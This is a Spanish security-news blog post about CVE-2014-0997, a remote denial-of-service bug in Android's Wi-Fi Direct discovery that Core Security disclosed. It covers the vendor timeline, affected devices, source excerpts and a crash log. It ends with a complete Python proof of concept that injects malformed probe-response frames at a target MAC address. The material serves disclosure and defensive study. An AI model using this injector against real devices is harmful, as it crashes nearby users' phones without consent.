Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Buscador

Entradas Mensuales

Suscripción

¿Quieres recibir las últimas novedades del blog en tu correo?

¡Suscríbete al feed!

Foro de elhacker.net - Noticias

elhacker.NET en Facebook

Entradas populares

PostHeaderIcon Vulnerabilidad en Wi-Fi Direct de Android permite reiniciar el dispositivo




Investigadores de seguridad de Core Security han decidido publicar una vulnerabilidad en Wi-Fi Direct Android que permite denegación de servicio DoS, ya que después de avisar al equipo de seguridad de Android, han obtenido como respuesta que la vulnerabilidad es de baja gravedad y por ello no tiene previsto fecha para el parche.






Wi-Fi Direct es un estándar que permite que varios dispositivos se comuniquen mediante la norma inalámbrica Wi-Fi sin necesidad de un punto de acceso intermedio.

Wi-Fi Direct funciona de una manera muy parecida a  Bluetooth, sólo con un mayor alcance y mayor estabilidad. Los dispositivos como impresoras y ratones inalámbricos pueden utilizar Wi-Fi Direct como una conexión directa desde el ordenador. Además, si un objeto tiene capacidades Wi-Fi, también podría tener Wi-Fi Direct, que podría permitir que usted controle con su smartphone en un futuro próximo .


Core Security informó a Google de la vulnerabilidad en el mes de septiembre y ésta no ha proporcionado un parche hasta la fecha. Lo mismo ocurre con Google realiza con su proyecto Zero cuando revela vulnerabilidades de otros fabricantes de software como Microsoft o Apple y publica las vulnerabilidades en un plazo de 90 días, estén o no parcheadas.

Andrés Blanco del Equipo Core Security preguntó de nuevo por la vulnerabilidad al equipo de seguridad de Android en octubre sin respuesta afirmativa y de en enero de este año avisó que publicaría el advisory el 26 de enero de 2015.

Descripción - Resumen de la vulnerabilidad

  • Impacto: Denegación de Servicio (Denial of service, DoS)
  • Explotable remotamente: Si
  • Localmente explotable: No
  • CVE Name: CVE-2014-0997

Algunos dispositivos Android se ven afectados por un ataque de denegación de servicio durante la búsqueda de dispositivos Wi-Fi Direct.

Un atacante podría enviar una señal 802.11 con una respuesta mal formada (especialmente diseñada) haciendo que el subsistema de Dalvik se reinicie debido a una excepción "Unhandle" en la clase WiFiMonitor.

 Dispositivos vulnerables (afectados)

  • Nexus 5 - Android 4.4.4
  • Nexus 4 - Android 4.4.4
  • LG D806 - Android 4.2.2
  • Samsung SM-T310 - Android 4.2.2
  • Motorola RAZR HD - Android 4.1.2
 Android 5.0.1 y Android 5.0.2  no son vulnerables

Time Line

  • 09/26/2014: equipo de seguridad de los contactos Core Security Android para informarles de que una vulnerabilidad se ha encontrado en Android. Core Security envía un proyecto de asesoramiento con los detalles técnicos y los archivos de PoC.
  • 29/09/2014: Android Equipo de Seguridad reconoce la recepción del aviso.
  • 09/30/2014: Core Security notifica que la fecha de publicación provisional está fijada para octubre 20rd, 2014.
  • 09/30/2014: Android Security Team, confirma la recepción.
  • 10/16/2014: Core Security solicita una actualización de estado.
  • 10/16/2014: Android Security Team responde que tienen clasificar la vulnerabilidad como baja gravedad y la actualidad no tenemos una línea de tiempo para la liberación de una solución.
  • 20/10/2014: Core Security no está completamente de acuerdo con la clasificación de la vulnerabilidad y reprogramar la publicación del aviso.
  • 10/16/2014: Android Security Team, reconoce y fortalece su posición de que actualmente no tienen una línea de tiempo para la liberación de una solución.
  • 06/01/2015: Core Security solicita una actualización de estado.
  • 01/12/2015: Core Security pregunta por confirmación de recepción del correo electrónico anterior.
  • 16/01/2015: Android Security Team reconoce y responder que no tienen actualmente una línea de tiempo para la liberación de una solución.
  • 01/19/2015: Core Security avisa que necesita la cooperación de proveedores con el fin de mantener este proceso coordinado. Si proveedor se niega a proporcionar la información solicitada el aviso se dará a conocer etiquetado como 'liberación usuario. La advertencia es re-programado para el 26 de enero 2015.
  • 20/01/2015: Android Security Team reconoce y responder que no tienen actualmente una línea de tiempo para la liberación de una solución.
  • 01/26/2015: El aviso CORE-2.015-0.002 se publica.

Descripción técnica

 Android hace uso de un wpa_supplicant modificada [1] con el fin de proporcionar una interfaz entre el controlador inalámbrico y el marco de la plataforma Android.

Por debajo de la función que se encarga de eventos wpa_supplicant. Esta función devuelve una jstring de llamar NewStringUTF método.


static jstring android_net_wifi_waitForEvent(JNIEnv* env, jobject)
{
    char buf[EVENT_BUF_SIZE];
    int nread = ::wifi_wait_for_event(buf, sizeof buf);
    if (nread > 0) {
        return env->NewStringUTF(buf);
    } else {
        return NULL;
    }
}

La especificación WiFi directa define el procedimiento de descubrimiento P2P para permitir que los dispositivos P2P para el intercambio de información de dispositivo, el nombre del dispositivo forma parte de esta información.

La clase WifiP2pDevice, ubicado en /wifi/java/android/net/wifi/p2p/WifiP2pDevice.java, representa un dispositivo p2p Wi-Fi. El método constructor recibe la cadena proporcionada por el wpa_supplicant y lanza una IllegalArgumentException si el evento está mal formado.

A continuación el contenido parcial del archivo WiFiP2PDevice.java.


[...]

/** Detailed device string pattern with WFD info
 * Example:
 *  P2P-DEVICE-FOUND 00:18:6b:de:a3:6e p2p_dev_addr=00:18:6b:de:a3:6e
 *  pri_dev_type=1-0050F204-1 name='DWD-300-DEA36E' config_methods=0x188
 *  dev_capab=0x21 group_capab=0x9
 */
private static final Pattern detailedDevicePattern = Pattern.compile(
    "((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " +
    "(\\d+ )?" +
    "p2p_dev_addr=((?:[0-9a-f]{2}:){5}[0-9a-f]{2}) " +
    "pri_dev_type=(\\d+-[0-9a-fA-F]+-\\d+) " +
    "name='(.*)' " +
    "config_methods=(0x[0-9a-fA-F]+) " +
    "dev_capab=(0x[0-9a-fA-F]+) " +
    "group_capab=(0x[0-9a-fA-F]+)" +
    "( wfd_dev_info=0x000006([0-9a-fA-F]{12}))?"
);

[...]

/**
 * @param string formats supported include
 *  P2P-DEVICE-FOUND fa:7b:7a:42:02:13 p2p_dev_addr=fa:7b:7a:42:02:13
 *  pri_dev_type=1-0050F204-1 name='p2p-TEST1' config_methods=0x188 dev_capab=0x27
 *  group_capab=0x0 wfd_dev_info=000006015d022a0032
 *
 *  P2P-DEVICE-LOST p2p_dev_addr=fa:7b:7a:42:02:13
 *
 *  AP-STA-CONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54]
 *
 *  AP-STA-DISCONNECTED 42:fc:89:a8:96:09 [p2p_dev_addr=02:90:4c:a0:92:54]
 *
 *  fa:7b:7a:42:02:13
 *
 *  Note: The events formats can be looked up in the wpa_supplicant code
 * @hide
 */
public WifiP2pDevice(String string) throws IllegalArgumentException {
    String[] tokens = string.split("[ \n]");
    Matcher match;

    if (tokens.length < 1) {
        throw new IllegalArgumentException("Malformed supplicant event");
    }

    switch (tokens.length) {
        case 1:
            /* Just a device address */
            deviceAddress = string;
            return;
        case 2:
            match = twoTokenPattern.matcher(string);
            if (!match.find()) {
                throw new IllegalArgumentException("Malformed supplicant event");
            }
            deviceAddress = match.group(2);
            return;
        case 3:
            match = threeTokenPattern.matcher(string);
            if (!match.find()) {
                throw new IllegalArgumentException("Malformed supplicant event");
            }
            deviceAddress = match.group(1);
            return;
        default:
            match = detailedDevicePattern.matcher(string);
            if (!match.find()) {
                throw new IllegalArgumentException("Malformed supplicant event");
            }

            deviceAddress = match.group(3);
            primaryDeviceType = match.group(4);
            deviceName = match.group(5);
            wpsConfigMethodsSupported = parseHex(match.group(6));
            deviceCapability = parseHex(match.group(7));
            groupCapability = parseHex(match.group(8));
            if (match.group(9) != null) {
                String str = match.group(10);
                wfdInfo = new WifiP2pWfdInfo(parseHex(str.substring(0,4)),
                        parseHex(str.substring(4,8)),
                        parseHex(str.substring(8,12)));
            }
            break;
    }

    if (tokens[0].startsWith("P2P-DEVICE-FOUND")) {
        status = AVAILABLE;
    }
}

[...]

En algunos dispositivos Android al procesar una trama de respuesta de la sonda con un elemento de información WiFi-Direct (P2P) que contiene un atributo de nombre de dispositivo con bytes específicos genera una cadena de eventos suplicante malformado que termina tirando la IllegalArgumentException.

Dado que esta excepción no se maneja el sistema se reinicia Android. A continuación el contenido parcial de la Logcat de un Samsung SM-T310 con Android 4.2.2.

I/p2p_supplicant( 2832): P2P-DEVICE-FOUND 00.EF.00 p2p_dev_addr=00.EF.00 pri_dev_type=10-0050F204-5 'fa¬¬' config_methods=0x188 dev_capab=0x21 group_capab=0x0
E/AndroidRuntime( 2129): !@*** FATAL EXCEPTION IN SYSTEM PROCESS: WifiMonitor
E/AndroidRuntime( 2129): java.lang.IllegalArgumentException: Malformed supplicant event
E/AndroidRuntime( 2129): at android.net.wifi.p2p.WifiP2pDevice.(WifiP2pDevice.java:229)
E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.handleP2pEvents(WifiMonitor.java:966)
E/AndroidRuntime( 2129): at android.net.wifi.WifiMonitor$MonitorThread.run(WifiMonitor.java:574)
E/android.os.Debug( 2129): !@Dumpstate > dumpstate -k -t -z -d -o /data/log/dumpstate_sys_error

PoC (Proof of Code) Concepto de Prueba

#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2


def get_probe_response(source, destination, channel):
    frame = str()
    frame += "\x50\x00"  # Frame Control
    frame += "\x00\x00"  # Duration
    frame += destination
    frame += source
    frame += source
    frame += "\x00\x00"  # Sequence Control
    frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp
    frame += "\x64\x00"  # Beacon Interval
    frame += "\x30\x04"  # Capabilities Information

    # SSID IE
    frame += "\x00"
    frame += "\x07"
    frame += "DIRECT-"

    # Supported Rates
    frame += "\x01"
    frame += "\x08"
    frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C"

    # DS Parameter Set
    frame += "\x03"
    frame += "\x01"
    frame += struct.pack("B", channel)

    # P2P
    frame += "\xDD"
    frame += "\x27"
    frame += "\x50\x6F\x9A"
    frame += "\x09"
    # P2P Capabilities
    frame += "\x02" # ID
    frame += "\x02\x00" # Length
    frame += "\x21\x00"
    # P2P Device Info
    frame += "\x0D" # ID
    frame += "\x1B\x00" # Length
    frame += source
    frame += "\x01\x88"
    frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05"
    frame += "\x00"
    frame += "\x10\x11"
    frame += "\x00\x06"
    frame += "fafa\xFA\xFA"

    return frame


def str_to_mac(address):
    return "".join(map(lambda i: chr(int(i, 16)), address.split(":")))


if __name__ == "__main__":
    if len(sys.argv) != 3:
        print "Usage:"
        print "  poc.py "
        print "Example:"
        print "  poc.py wlan0 00:11:22:33:44:55"
        sys.exit(-1)

    iface = sys.argv[1]
    destination = str_to_mac(sys.argv[2])

    context = PyLorcon2.Context(iface)
    context.open_injmon()

    channel = 1
    source = str_to_mac("00:11:22:33:44:55")
    frame = get_probe_response(source, destination, channel)

    print "Injecting PoC."
    for i in range(100):
        context.send_bytes(frame)
        time.sleep(0.100)

Fuentes:
http://muyseguridad.net/2015/01/30/wi-fi-direct-android
http://thehackernews.com/2015/01/WiFi-direct-android-hacking.html
http://www.coresecurity.com/advisories/android-wifi-direct-denial-service

0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.